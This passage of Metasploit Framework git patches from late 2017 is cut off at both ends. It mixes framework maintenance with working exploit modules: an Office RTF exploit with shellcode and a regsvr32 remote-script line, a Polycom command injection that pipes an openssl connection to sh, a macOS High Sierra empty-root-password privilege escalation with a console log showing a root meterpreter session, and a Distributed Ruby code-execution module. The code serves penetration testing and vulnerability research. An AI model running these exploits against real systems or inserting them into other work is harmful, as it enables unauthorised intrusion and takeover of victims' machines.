-    footer << '4550494354003421000035FEFFFF9201000008003421CB010000010009000003C500000002001C0000000000050000000902000000000500000002'
+    footer << '4500710075006100740069006F006E0020004E006100740069007600650000000'
+    footer << '00000000000000000000000000000000000000000000000000000'
+    footer << '000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000'
+    footer << '00000000000000000000000000000000000000000000000000000000000000400'
+    footer << '0000C5000000000000000000000000000000000000000000000000'
+    footer << '0000000000000000000000000000000000000000000000000000000000000000'
+    footer << '00000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00'
+    footer << '000000000000000000000000000000000000000000000000000000'
+    footer << '0000000000000000000000000000000000000000000000000000000000000000'
+    footer << '000000000000000000000000000000000000000000000000000000'
+    footer << '0000000000000000000000000000000000000000000000000000000000FFFFFF'
+    footer << 'FFFFFFFFFFFFFFFFFF000000000000000000000000000000000000'
+    footer << '00000000000000000000000000000000000000000000000000000000000000000'
+    footer << '00000000000000000000000000000000000000000000000000000'
+    footer << '00000000000000000000000000000000000000000000000000000000000000000'
+    footer << '0000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000'
+    footer << '00000000000000000000000000000000000000000000000000000000000000000'
+    footer << '00000000000000001050000050000000D0000004D45544146494C'
+    footer << '4550494354003421000035FEFFFF9201000008003421CB010000010009000003C'
+    footer << '500000002001C0000000000050000000902000000000500000002'
     footer << '0101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A001201E1200000026060F001A00FFFFFFFF'
     footer << '000010000000C0FFFFFFC6FFFFFFE01D0000660100000B00000026060F000C004D61746854797065000020001C000000FB0280FE00000000000090'
     footer << '01000000000402001054696D6573204E657720526F6D616E00FEFFFFFF6B2C0A0700000A0000000000040000002D0100000C000000320A60019016'
@@ -123,9 +178,6 @@ class MetasploitModule < Msf::Exploit::Remote
     footer << "}}}\n"
     footer << '\par}' + "\n"
 
-    shellcode = "\x1c\x00\x00\x00\x02\x00\x9e\xc4\xa9\x00\x00\x00\x00\x00\x00\x00\xc8\xa7\\\x00\xc4\xee[\x00\x00\x00\x00\x00\x03\x01\x01\x03\n\n\x01\x08ZZ"
-    shellcode << "\xB8\x44\xEB\x71\x12\xBA\x78\x56\x34\x12\x31\xD0\x8B\x08\x8B\x09\x8B\x09\x66\x83\xC1\x3C\x31\xDB\x53\x51\xBE\x64\x3E\x72\x12\x31\xD6\xFF\x16\x53\x66\x83\xEE\x4C\xFF\x10"
-    shellcode << "\x90\x90"
 
     payload = shellcode
     payload += [0x00402114].pack("V")
@@ -133,13 +185,7 @@ class MetasploitModule < Msf::Exploit::Remote
     payload += "regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll"
     payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first
     payload = header + payload + footer
-
-    path = ::File.join(Msf::Config.local_directory, datastore['FILENAME'])
-    ::File.open(path, 'wb') do |fd|
-      fd.write(payload)
-      fd.close
-    end
-    print_good("Wrote payload to #{path}")
+    payload
   end
 
 
@@ -207,6 +253,6 @@ class MetasploitModule < Msf::Exploit::Remote
 
 
   def primer
-    generate_rtf
+    file_create(generate_rtf)
   end
 end

From 2544b4d8db4b4cad4af2d312bb32a8cde13fff88 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Tue, 28 Nov 2017 21:39:04 -0500
Subject: [PATCH 214/254] Change target name

---
 modules/exploits/windows/fileformat/office_ms17_11882.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/exploits/windows/fileformat/office_ms17_11882.rb b/modules/exploits/windows/fileformat/office_ms17_11882.rb
index 47d486f734..37f096f7ac 100644
--- a/modules/exploits/windows/fileformat/office_ms17_11882.rb
+++ b/modules/exploits/windows/fileformat/office_ms17_11882.rb
@@ -33,7 +33,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Platform' => 'win',
       'Arch' => [ARCH_X86, ARCH_X64],
       'Targets' => [
-        ['Automatic', {} ],
+        ['Microsoft Office Word', {} ],
       ],
       'DefaultTarget' => 0,
       'Payload' => {

From 676a08b84999251806d6310521875db16e487de4 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Tue, 28 Nov 2017 22:01:41 -0500
Subject: [PATCH 215/254] Update polycom_hdx_traceroute_exec.rb

---
 modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb | 1 -
 1 file changed, 1 deletion(-)

diff --git a/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb b/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
index fdd6474c2c..033d433d37 100644
--- a/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
+++ b/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
@@ -105,7 +105,6 @@ class MetasploitModule < Msf::Exploit::Remote
 
     # Figure out the port we picked
     cbport = self.service.getsockname[2]
-    # Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128
     cmd = "devcmds\nlan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}#{cbhost}${IFS}-port${IFS}#{cbport}|sh`\n"
     sock.put(cmd)
     if datastore['VERBOSE']

From 3fff092042c07b23e16ff5fc8c39741f4cac3157 Mon Sep 17 00:00:00 2001
From: Adam Cammack <adam_cammack@rapid7.com>
Date: Tue, 28 Nov 2017 21:37:25 -0600
Subject: [PATCH 216/254] Fix include scope in external module mixin

The auxiliary report mixin overrides some of the methods in
Metasploit::Credential, which is fine in framework, but causes issues in
projects relying on the base behavior of Metasploit::Credential. This
changes the include scope from global to just whatever includes the
external module mixin.
---
 lib/msf/core/module/external.rb | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/lib/msf/core/module/external.rb b/lib/msf/core/module/external.rb
index 4c08d5a4e2..d90c9cbfed 100644
--- a/lib/msf/core/module/external.rb
+++ b/lib/msf/core/module/external.rb
@@ -1,6 +1,6 @@
-include Msf::Auxiliary::Report
-
 module Msf::Module::External
+  include Msf::Auxiliary::Report
+
   def wait_status(mod)
     begin
       while mod.running

From 7f1f7281f128ec06b32415aa7d4c801ba0cb5892 Mon Sep 17 00:00:00 2001
From: Tim W <timrlw@gmail.com>
Date: Wed, 29 Nov 2017 16:06:02 +0800
Subject: [PATCH 217/254] add local exploit for osx root login with no password

---
 .../exploits/osx/local/root_no_password.rb    | 55 +++++++++++++++++++
 1 file changed, 55 insertions(+)
 create mode 100644 modules/exploits/osx/local/root_no_password.rb

diff --git a/modules/exploits/osx/local/root_no_password.rb b/modules/exploits/osx/local/root_no_password.rb
new file mode 100644
index 0000000000..2a0031c258
--- /dev/null
+++ b/modules/exploits/osx/local/root_no_password.rb
@@ -0,0 +1,55 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Local
+  Rank = ExcellentRanking
+
+  include Msf::Post::File
+  include Msf::Exploit::EXE
+  include Msf::Exploit::FileDropper
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'          => 'Mac OS X Root Privilege Escalation',
+      'Description'   => %q{
+        This module exploits a serious flaw in MacOSX High Sierra.
+        Any user can login with user "root", leaving an empty password.
+      },
+      'License'       => MSF_LICENSE,
+      'References'    =>
+        [
+          [ 'URL', 'https://twitter.com/lemiorhan/status/935578694541770752' ],
+          [ 'URL', 'https://news.ycombinator.com/item?id=15800676' ],
+          [ 'URL', 'https://forums.developer.apple.com/thread/79235' ],
+        ],
+      'Platform'      => 'osx',
+      'Arch'          => ARCH_X64,
+      'DefaultOptions' =>
+      {
+        'PAYLOAD'      => 'osx/x64/meterpreter_reverse_tcp',
+      },
+      'SessionTypes'  => [ 'shell', 'meterpreter' ],
+      'Targets'       => [
+        [ 'Mac OS X 10.13.1 High Sierra x64 (Native Payload)', { } ]
+      ],
+      'DefaultTarget' => 0,
+      'DisclosureDate' => 'Wed 29 2017'
+    ))
+  end
+
+  def exploit_cmd(root_payload)
+    "osascript -e 'do shell script \"#{root_payload}\" user name \"root\" password \"\" with administrator privileges'"
+  end
+
+  def exploit
+    payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
+    print_status("Writing payload file as '#{payload_file}'")
+    write_file(payload_file, payload.raw)
+    register_file_for_cleanup(payload_file)
+    output = cmd_exec("chmod +x #{payload_file}")
+    print_status("Executing payload file as '#{payload_file}'")
+    cmd_exec(exploit_cmd(payload_file))
+  end
+end

From 58897bf2fc3c1433c2bcd610955cda7611ac5755 Mon Sep 17 00:00:00 2001
From: Tim W <timrlw@gmail.com>
Date: Wed, 29 Nov 2017 16:36:50 +0800
Subject: [PATCH 218/254] msftidy

---
 modules/exploits/osx/local/root_no_password.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/exploits/osx/local/root_no_password.rb b/modules/exploits/osx/local/root_no_password.rb
index 2a0031c258..2fc91f8fe7 100644
--- a/modules/exploits/osx/local/root_no_password.rb
+++ b/modules/exploits/osx/local/root_no_password.rb
@@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Local
         [ 'Mac OS X 10.13.1 High Sierra x64 (Native Payload)', { } ]
       ],
       'DefaultTarget' => 0,
-      'DisclosureDate' => 'Wed 29 2017'
+      'DisclosureDate' => 'Nov 29 2017'
     ))
   end
 

From efa8d566d7430183975922bebcca6f0bb2323e2f Mon Sep 17 00:00:00 2001
From: bwatters-r7 <bwatters@rapid7.com>
Date: Wed, 29 Nov 2017 10:26:06 -0600
Subject: [PATCH 219/254] Added documentation for iamroot

---
 .../exploit/osx/local/root_no_password.md     | 104 ++++++++++++++++++
 1 file changed, 104 insertions(+)
 create mode 100644 documentation/modules/exploit/osx/local/root_no_password.md

diff --git a/documentation/modules/exploit/osx/local/root_no_password.md b/documentation/modules/exploit/osx/local/root_no_password.md
new file mode 100644
index 0000000000..31162807ca
--- /dev/null
+++ b/documentation/modules/exploit/osx/local/root_no_password.md
@@ -0,0 +1,104 @@
+## Vulnerable Application
+This vulnerability works against OSX 10.13 (High Sierra).  Early
+research (https://objective-see.com/blog/blog_0x24.html) suggests that
+the vulnerability is the result of multiple errors ultimately started by
+an incorrect return value from triggered by the funtion
+`od_verify_crypt_password` rteturning true even if the account is
+disabled.  The subsequent function calls appear to alidate and create
+the password, though there is still a lot of research into the bug and
+these results should be verified once more research has been published.
+
+## Verification Steps
+1. Get a session on a vulnerable system
+2. `use exploit/osx/local/root_no_password`
+3. `set lhost <IP>`
+4. `set lport <PORT>`
+5. `set session <session_id>`
+6. `run`
+
+## Scenarios
+### Example Run
+```
+msf exploit(psexec) > use exploit/multi/handler
+msf exploit(handler) > set payload osx/x64/meterpreter_reverse_tcp
+payload => osx/x64/meterpreter_reverse_tcp
+msf exploit(handler) > set lhost <MSF_IP>
+lhost => <MSF_IP>
+msf exploit(handler) > set lport 4567
+lport => 4567
+msf exploit(handler) > run
+
+[*] Started reverse TCP handler on <MSF_IP>:4567 
+httpserver[*] Meterpreter session 1 opened (<MSF_IP>:4567 -> <OSX_IP>:49347) at 2017-11-29 07:28:32 -0600
+
+meterpreter > sysinfo
+Computer     : msfusers-Mac.local
+OS           :  (MacOSX 17.0.0)
+Architecture : x64
+Meterpreter  : x64/osx
+meterpreter > getuid
+Server username: uid=501, gid=20, euid=501, egid=20
+meterpreter > background
+[*] Backgrounding session 1...
+msf exploit(handler) > use exploit/osx/local/root_no_password 
+msf exploit(root_no_password) > show options
+
+Module options (exploit/osx/local/root_no_password):
+
+   Name     Current Setting  Required  Description
+   ----     ---------------  --------  -----------
+   SESSION                   yes       The session to run this module on.
+
+
+Payload options (osx/x64/meterpreter_reverse_tcp):
+
+   Name   Current Setting  Required  Description
+   ----   ---------------  --------  -----------
+   LHOST                   yes       The listen address
+   LPORT  4444             yes       The listen port
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   0   Mac OS X 10.13.1 High Sierra x64 (Native Payload)
+
+
+msf exploit(root_no_password) > set lhost <MSF_IP>
+lhost => <MSF_IP>
+msf exploit(root_no_password) > set lport 4562
+lport => 4562
+msf exploit(root_no_password) > set session 1
+session => 1
+msf exploit(root_no_password) > run
+
+[*] Started reverse TCP handler on <MSF_IP>:4562 
+[*] Writing payload file as '/tmp/cinbvsmrmyxw'
+[*] Meterpreter session 2 opened (<MSF_IP>:4562 -> <OSX_IP>:62522) at 2017-11-29 07:29:56 -0600
+[*] <OSX_IP> - Meterpreter session 2 closed.  Reason: Died
+
+
+[*] Executing payload file as '/tmp/cinbvsmrmyxw'
+[!] This exploit may require manual cleanup of '/tmp/cinbvsmrmyxw' on the target
+
+[-] Invalid session identifier: 2
+msf exploit(root_no_password) > 
+msf exploit(root_no_password) > 
+msf exploit(root_no_password) > run
+
+[*] Started reverse TCP handler on <MSF_IP>:4562 
+[*] Writing payload file as '/tmp/imtjkakowanv'
+[*] Executing payload file as '/tmp/imtjkakowanv'
+[*] Meterpreter session 3 opened (<MSF_IP>:4562 -> <OSX_IP>:49348) at 2017-11-29 07:30:53 -0600
+[+] Deleted /tmp/imtjkakowanv
+
+meterpreter > sysinfo
+Computer     : msfusers-Mac.local
+OS           :  (MacOSX 17.0.0)
+Architecture : x64
+Meterpreter  : x64/osx
+meterpreter > getuid
+Server username: uid=0, gid=20, euid=0, egid=20
+meterpreter >
+```

From 9dc3d60fc286597f282857f9be747b821a6632ec Mon Sep 17 00:00:00 2001
From: bwatters-r7 <bwatters@rapid7.com>
Date: Wed, 29 Nov 2017 10:29:38 -0600
Subject: [PATCH 220/254] Stupid Typos

---
 documentation/modules/exploit/osx/local/root_no_password.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/documentation/modules/exploit/osx/local/root_no_password.md b/documentation/modules/exploit/osx/local/root_no_password.md
index 31162807ca..ac793fa6fa 100644
--- a/documentation/modules/exploit/osx/local/root_no_password.md
+++ b/documentation/modules/exploit/osx/local/root_no_password.md
@@ -2,9 +2,9 @@
 This vulnerability works against OSX 10.13 (High Sierra).  Early
 research (https://objective-see.com/blog/blog_0x24.html) suggests that
 the vulnerability is the result of multiple errors ultimately started by
-an incorrect return value from triggered by the funtion
-`od_verify_crypt_password` rteturning true even if the account is
-disabled.  The subsequent function calls appear to alidate and create
+an incorrect return value from triggered by the function
+`od_verify_crypt_password` returning true even if the account is
+disabled.  The subsequent function calls appear to validate and create
 the password, though there is still a lot of research into the bug and
 these results should be verified once more research has been published.
 

From 8051f790d0cbf8bd7310fabce692a3d686d0c9a7 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Tue, 14 Nov 2017 20:13:35 -0600
Subject: [PATCH 221/254] if there is info in the uuid_db, put it in
 payload_uuid automatically

---
 lib/msf/core/handler.rb | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/lib/msf/core/handler.rb b/lib/msf/core/handler.rb
index 70b60081e0..902e674aad 100644
--- a/lib/msf/core/handler.rb
+++ b/lib/msf/core/handler.rb
@@ -222,7 +222,13 @@ protected
       s.set_from_exploit(assoc_exploit)
 
       # Pass along any associated payload uuid if specified
-      s.payload_uuid = opts[:payload_uuid] if opts[:payload_uuid]
+      if opts[:payload_uuid]
+        s.payload_uuid = opts[:payload_uuid]
+        if s.payload_uuid.respond_to?(:puid_hex) && (uuid_info = framework.uuid_db[sess_puid])
+          s.payload_uuid.name = uuid_info['name']
+          s.payload_uuid.timestamp = uuid_info['timestamp']
+        end
+      end
 
       # If the session is valid, register it with the framework and
       # notify any waiters we may have.

From 59446f3d961ef29ac358ac5d873785185f0156ad Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Tue, 14 Nov 2017 20:15:51 -0600
Subject: [PATCH 222/254] change ui to use new settings

---
 lib/msf/base/serializer/readable_text.rb | 6 +++---
 lib/msf/core/handler.rb                  | 3 +++
 2 files changed, 6 insertions(+), 3 deletions(-)

diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb
index 1c170f8ce6..00b39824a9 100644
--- a/lib/msf/base/serializer/readable_text.rb
+++ b/lib/msf/base/serializer/readable_text.rb
@@ -652,10 +652,10 @@ class ReadableText
         sess_checkin = "#{(Time.now.to_i - session.last_checkin.to_i)}s ago @ #{session.last_checkin.to_s}"
       end
 
-      if session.payload_uuid.respond_to?(:puid_hex) && (uuid_info = framework.uuid_db[sess_puid])
+      if session.payload_uuid.registered
         sess_registration = "Yes"
-        if uuid_info['name']
-          sess_registration << " - Name=\"#{uuid_info['name']}\""
+        if session.payload_uuid.name
+          sess_registration << " - Name=\"#{session.payload_uuid.name}\""
         end
       end
 
diff --git a/lib/msf/core/handler.rb b/lib/msf/core/handler.rb
index 902e674aad..6f4e0a6888 100644
--- a/lib/msf/core/handler.rb
+++ b/lib/msf/core/handler.rb
@@ -225,8 +225,11 @@ protected
       if opts[:payload_uuid]
         s.payload_uuid = opts[:payload_uuid]
         if s.payload_uuid.respond_to?(:puid_hex) && (uuid_info = framework.uuid_db[sess_puid])
+          s.payload_uuid.registered = true
           s.payload_uuid.name = uuid_info['name']
           s.payload_uuid.timestamp = uuid_info['timestamp']
+        else
+          s.payload_uuid.registered = false
         end
       end
 

From 446f3fa675eb0e0fb7f23ab1e5b49dba4fa8651d Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Tue, 14 Nov 2017 20:21:38 -0600
Subject: [PATCH 223/254] more conversions

---
 lib/msf/base/serializer/readable_text.rb | 1 -
 lib/msf/core/handler.rb                  | 2 +-
 2 files changed, 1 insertion(+), 2 deletions(-)

diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb
index 00b39824a9..27fc80f110 100644
--- a/lib/msf/base/serializer/readable_text.rb
+++ b/lib/msf/base/serializer/readable_text.rb
@@ -634,7 +634,6 @@ class ReadableText
       sess_via     = session.via_exploit.to_s
       sess_type    = session.type.to_s
       sess_uuid    = session.payload_uuid.to_s
-      sess_puid    = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil
       sess_luri    = session.exploit_datastore['LURI'] || "" if session.exploit_datastore
       sess_enc     = false
       if session.respond_to?(:tlv_enc_key) && session.tlv_enc_key && session.tlv_enc_key[:key]
diff --git a/lib/msf/core/handler.rb b/lib/msf/core/handler.rb
index 6f4e0a6888..96f3fe56b4 100644
--- a/lib/msf/core/handler.rb
+++ b/lib/msf/core/handler.rb
@@ -224,7 +224,7 @@ protected
       # Pass along any associated payload uuid if specified
       if opts[:payload_uuid]
         s.payload_uuid = opts[:payload_uuid]
-        if s.payload_uuid.respond_to?(:puid_hex) && (uuid_info = framework.uuid_db[sess_puid])
+        if s.payload_uuid.respond_to?(:puid_hex) && (uuid_info = framework.uuid_db[session.payload_uuid.puid_hex])
           s.payload_uuid.registered = true
           s.payload_uuid.name = uuid_info['name']
           s.payload_uuid.timestamp = uuid_info['timestamp']

From ec2b5d48a652f0758aaf338d88721118eb12555a Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Wed, 15 Nov 2017 20:54:28 -0600
Subject: [PATCH 224/254] add missing payload uuid accessors

---
 lib/msf/core/payload/uuid.rb | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/lib/msf/core/payload/uuid.rb b/lib/msf/core/payload/uuid.rb
index 1a651242e3..f510c88469 100644
--- a/lib/msf/core/payload/uuid.rb
+++ b/lib/msf/core/payload/uuid.rb
@@ -254,6 +254,10 @@ class Msf::Payload::UUID
     self.xor1      = opts[:xor1]
     self.xor2      = opts[:xor2]
 
+    self.timestamp  = nil
+    self.name       = nil
+    self.registered = false
+
     if opts[:seed]
       self.puid = self.class.seed_to_puid(opts[:seed])
     end
@@ -367,6 +371,10 @@ class Msf::Payload::UUID
     self
   end
 
+  attr_accessor :registered
+  attr_accessor :timestamp
+  attr_accessor :name
+
   attr_reader :arch
   attr_reader :platform
 

From 70ec576d52f36eab29248bc93692742c5ef3c7a7 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Wed, 29 Nov 2017 11:53:56 -0600
Subject: [PATCH 225/254] use correct session variable

---
 lib/msf/core/handler.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/msf/core/handler.rb b/lib/msf/core/handler.rb
index 96f3fe56b4..24d882aad1 100644
--- a/lib/msf/core/handler.rb
+++ b/lib/msf/core/handler.rb
@@ -224,7 +224,7 @@ protected
       # Pass along any associated payload uuid if specified
       if opts[:payload_uuid]
         s.payload_uuid = opts[:payload_uuid]
-        if s.payload_uuid.respond_to?(:puid_hex) && (uuid_info = framework.uuid_db[session.payload_uuid.puid_hex])
+        if s.payload_uuid.respond_to?(:puid_hex) && (uuid_info = framework.uuid_db[s.payload_uuid.puid_hex])
           s.payload_uuid.registered = true
           s.payload_uuid.name = uuid_info['name']
           s.payload_uuid.timestamp = uuid_info['timestamp']

From 174d0d46de9749722a0ffabbababada27d047959 Mon Sep 17 00:00:00 2001
From: Metasploit <metasploit@rapid7.com>
Date: Wed, 29 Nov 2017 10:45:55 -0800
Subject: [PATCH 226/254] Bump version of framework to 4.16.21

---
 Gemfile.lock                        | 8 ++++----
 lib/metasploit/framework/version.rb | 2 +-
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index 6a6c15923e..fdd9aed9fd 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,7 +1,7 @@
 PATH
   remote: .
   specs:
-    metasploit-framework (4.16.20)
+    metasploit-framework (4.16.21)
       actionpack (~> 4.2.6)
       activerecord (~> 4.2.6)
       activesupport (~> 4.2.6)
@@ -249,7 +249,7 @@ GEM
       ffi
     rbnacl-libsodium (1.0.15.1)
       rbnacl (>= 3.0.1)
-    recog (2.1.16)
+    recog (2.1.17)
       nokogiri
     redcarpet (3.4.0)
     rex-arch (0.1.13)
@@ -265,7 +265,7 @@ GEM
       metasm
       rex-arch
       rex-text
-    rex-exploitation (0.1.15)
+    rex-exploitation (0.1.16)
       jsobfu
       metasm
       rex-arch
@@ -357,7 +357,7 @@ GEM
       activemodel (>= 4.2.7)
       activesupport (>= 4.2.7)
     xmlrpc (0.3.0)
-    yard (0.9.11)
+    yard (0.9.12)
 
 PLATFORMS
   ruby
diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb
index 7e90de291c..9ae49f17d5 100644
--- a/lib/metasploit/framework/version.rb
+++ b/lib/metasploit/framework/version.rb
@@ -30,7 +30,7 @@ module Metasploit
         end
       end
 
-      VERSION = "4.16.20"
+      VERSION = "4.16.21"
       MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
       PRERELEASE = 'dev'
       HASH = get_hash

From edb2d8b762971bdf5e4e11fa9f3def71e152197f Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Wed, 29 Nov 2017 17:01:01 -0600
Subject: [PATCH 227/254] fix windows unicode usernames, add recursive
 directory delete

---
 Gemfile.lock                 | 4 ++--
 metasploit-framework.gemspec | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index fdd9aed9fd..a507211199 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -17,7 +17,7 @@ PATH
       metasploit-concern
       metasploit-credential
       metasploit-model
-      metasploit-payloads (= 1.3.17)
+      metasploit-payloads (= 1.3.18)
       metasploit_data_models
       metasploit_payloads-mettle (= 0.2.8)
       msgpack
@@ -178,7 +178,7 @@ GEM
       activemodel (~> 4.2.6)
       activesupport (~> 4.2.6)
       railties (~> 4.2.6)
-    metasploit-payloads (1.3.17)
+    metasploit-payloads (1.3.18)
     metasploit_data_models (2.0.15)
       activerecord (~> 4.2.6)
       activesupport (~> 4.2.6)
diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec
index cb469296e6..177deef087 100644
--- a/metasploit-framework.gemspec
+++ b/metasploit-framework.gemspec
@@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
   # are needed when there's no database
   spec.add_runtime_dependency 'metasploit-model'
   # Needed for Meterpreter
-  spec.add_runtime_dependency 'metasploit-payloads', '1.3.17'
+  spec.add_runtime_dependency 'metasploit-payloads', '1.3.18'
   # Needed for the next-generation POSIX Meterpreter
   spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.2.8'
   # Needed by msfgui and other rpc components

From e5a5d35ad8cb12b0b1238d6b662380f348b9b5bb Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Wed, 29 Nov 2017 18:17:30 -0600
Subject: [PATCH 228/254] add 'promptname' that expands the module path a bit
 more

This allows the user to actually see the module context.
---
 lib/msf/core/module/full_name.rb               | 18 +++++++++++++++---
 lib/msf/ui/console/command_dispatcher/core.rb  |  2 +-
 .../ui/console/command_dispatcher/modules.rb   |  2 +-
 3 files changed, 17 insertions(+), 5 deletions(-)

diff --git a/lib/msf/core/module/full_name.rb b/lib/msf/core/module/full_name.rb
index c1b2d5b755..a6162299ea 100644
--- a/lib/msf/core/module/full_name.rb
+++ b/lib/msf/core/module/full_name.rb
@@ -24,6 +24,11 @@ module Msf::Module::FullName
       type + '/' + refname
     end
 
+    def promptname
+      elements = refname.split('/')
+      "#{elements[-2]}/#{elements[-1]}"
+    end
+
     def shortname
       refname.split('/').last
     end
@@ -55,9 +60,16 @@ module Msf::Module::FullName
   end
 
   #
-  # Returns the module's framework short name.  This is a
-  # possibly conflicting name used for things like console
-  # prompts.
+  # Returns the module's framework prompt-friendly name.
+  #
+  # reverse_tcp
+  #
+  def promptname
+    self.class.promptname
+  end
+
+  #
+  # Returns the module's framework short name.
   #
   # reverse_tcp
   #
diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb
index 78a8443412..85cd12da4a 100644
--- a/lib/msf/ui/console/command_dispatcher/core.rb
+++ b/lib/msf/ui/console/command_dispatcher/core.rb
@@ -1107,7 +1107,7 @@ class Core
     if active_module
       # intentionally += and not << because we don't want to modify
       # datastore or the constant DefaultPrompt
-      prompt += " #{active_module.type}(%bld%red#{active_module.shortname}%clr)"
+      prompt += " #{active_module.type}(%bld%red#{active_module.promptname}%clr)"
     end
     prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
     driver.update_prompt("#{prompt} ", prompt_char, true)
diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb
index bbb1993c29..6238599397 100644
--- a/lib/msf/ui/console/command_dispatcher/modules.rb
+++ b/lib/msf/ui/console/command_dispatcher/modules.rb
@@ -661,7 +661,7 @@ module Msf
             # Update the command prompt
             prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
             prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
-            driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.shortname}%clr) ", prompt_char, true)
+            driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.promptname}%clr) ", prompt_char, true)
           end
 
           #

From c848379ecbcd259190e7b6e8891573b6dc73664b Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Wed, 29 Nov 2017 20:52:14 -0600
Subject: [PATCH 229/254] simply use refname in the prompt?

---
 lib/msf/core/module/full_name.rb | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/lib/msf/core/module/full_name.rb b/lib/msf/core/module/full_name.rb
index a6162299ea..ecc6f3852b 100644
--- a/lib/msf/core/module/full_name.rb
+++ b/lib/msf/core/module/full_name.rb
@@ -25,8 +25,7 @@ module Msf::Module::FullName
     end
 
     def promptname
-      elements = refname.split('/')
-      "#{elements[-2]}/#{elements[-1]}"
+      refname
     end
 
     def shortname

From 59580195b441a459692e265b8d18c3c0b9e2410b Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Thu, 30 Nov 2017 05:46:03 -0600
Subject: [PATCH 230/254] resurrect old methods, try all 3

---
 .../linux/misc/drb_remote_codeexec.rb         | 74 ++++++++++++++++---
 1 file changed, 62 insertions(+), 12 deletions(-)

diff --git a/modules/exploits/linux/misc/drb_remote_codeexec.rb b/modules/exploits/linux/misc/drb_remote_codeexec.rb
index b4c8577fef..f58d96c9e2 100644
--- a/modules/exploits/linux/misc/drb_remote_codeexec.rb
+++ b/modules/exploits/linux/misc/drb_remote_codeexec.rb
@@ -8,6 +8,8 @@ require 'drb/drb'
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
+  include Msf::Exploit::FileDropper
+
   def initialize(info = {})
     super(update_info(info,
       'Name'           => 'Distributed Ruby Remote Code Execution',
@@ -43,26 +45,74 @@ class MetasploitModule < Msf::Exploit::Remote
         ])
   end
 
+  def method_trap(p)
+    p.send(:trap, 23,
+      :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
+    p.send(:my_eval, payload.encoded)
+  end
+
+  def method_instance_eval(p)
+    p.send(:instance_eval,"Kernel.fork { `#{payload.encoded}` }")
+  end
+
+  def method_syscall(p)
+    filename = "." + Rex::Text.rand_text_alphanumeric(16)
+
+    begin
+      # syscall to decide wether it's 64 or 32 bit:
+      # it's getpid on 32bit which will succeed, and writev on 64bit
+      # which will fail due to missing args
+      j = p.send(:syscall, 20)
+      # syscall open
+      i =  p.send(:syscall, 8, filename, 0700)
+      # syscall write
+      p.send(:syscall, 4, i, "#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
+      # syscall close
